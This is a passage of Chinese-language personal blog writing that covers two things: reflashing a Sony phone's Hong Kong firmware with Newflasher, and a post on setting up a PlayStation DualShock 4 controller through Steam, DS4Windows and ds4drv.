01/031/2017 13:31:56 - INFO  - (MainSWT.java:166) - Device connected with USB debugging off
01/031/2017 13:31:56 - INFO  - (MainSWT.java:167) - For 2011 devices line, be sure you are not in MTP mode

啊,我明明已经进入 Flashmode 了啊!最后麻烦了好几位朋友,折腾了整整一天才发现,新款的索尼手机需要用 Newflasher 来刷,好在操作也是很容易的:

  1. 安装好 Flashmode 驱动
  2. 把 newflasher.exe 放在已经解包的固件的目录(就是有一大堆 sin 和 ta 格式文件的那个)
  3. 运行 newflasher.exe

终于顺利的刷好了港版固件,然后通过 Google Play 装好了所有的必需应用。这手机正式投入使用。

至于它的拍照和音乐播放。。嗯,画质自然没得说。网上的样张已经很多了,这里就不会浪费诸位时间了。

音乐的话,我这种木耳真的听不出音质与我的 Galaxy S5 有什么显著的提升,包括一般的 m4a 和无损音乐(众:那你还搞业余编曲啊

顺便它附带的 MDR-NC750 耳机戴起来好别扭,那耳塞是左耳死活塞不紧,右耳反而塞的很紧,在加上那不一致的左右耳线长,感觉超级不舒服。还是用 miniso 的 earpod 外形耳机好了


这部手机是不打算折腾了,老实跟着官方 ota 走。以前我喜欢整天刷机、root、鼓捣 xposed 框架,但现在看来好没劲啊。

我浑浑噩噩的 Android 手机折腾史算是结束了吧。

ホロ's avatar

当汝有个 DualShock 4 时……

当有 DualShock 4 的 friends 焦躁不安时……

啥是 DualShock 4 ?

就是 PlayStation 4 的控制器啦 😂

https://asia.playstation.com/chs-hk/accessories/dualshock4/

⇪网页标题: 接口设备 | DUALSHOCK 4 | PlayStation

关于 DualShock 4 的介绍在这里 😂

玩 Steam 的 friends ?

首先打开 Steam 的大屏幕模式啦~

然后把控制器设置中的 “PlayStation 4 控制器支持” 打开。

有那个心情的话可以去调整一下偏好设置(

支持控制器的游戏会有一个控制器图标 😂

需要的话就调整游戏对应的控制器设置

但是咱不承接按键配置服务(如果有人送咱想设置的游戏的话咱倒是可以试试 😂

Windows ?

可以试试一个叫 DS4Windows 的小工具, 不管是下载还是安装都在那了 😂

Arch Linux ?

其它发行版应该也可以 😂

可以试试一个叫 ds4drv 的小工具, Arch 的话可以从 AUR 里装(

接着在 ~/.config/ds4drv.conf 写个配置文件,可以看看 官方的样例 或者 咱写的 😂

写完了就启动一下试试?


对咱又水了一篇 😂

via these people and places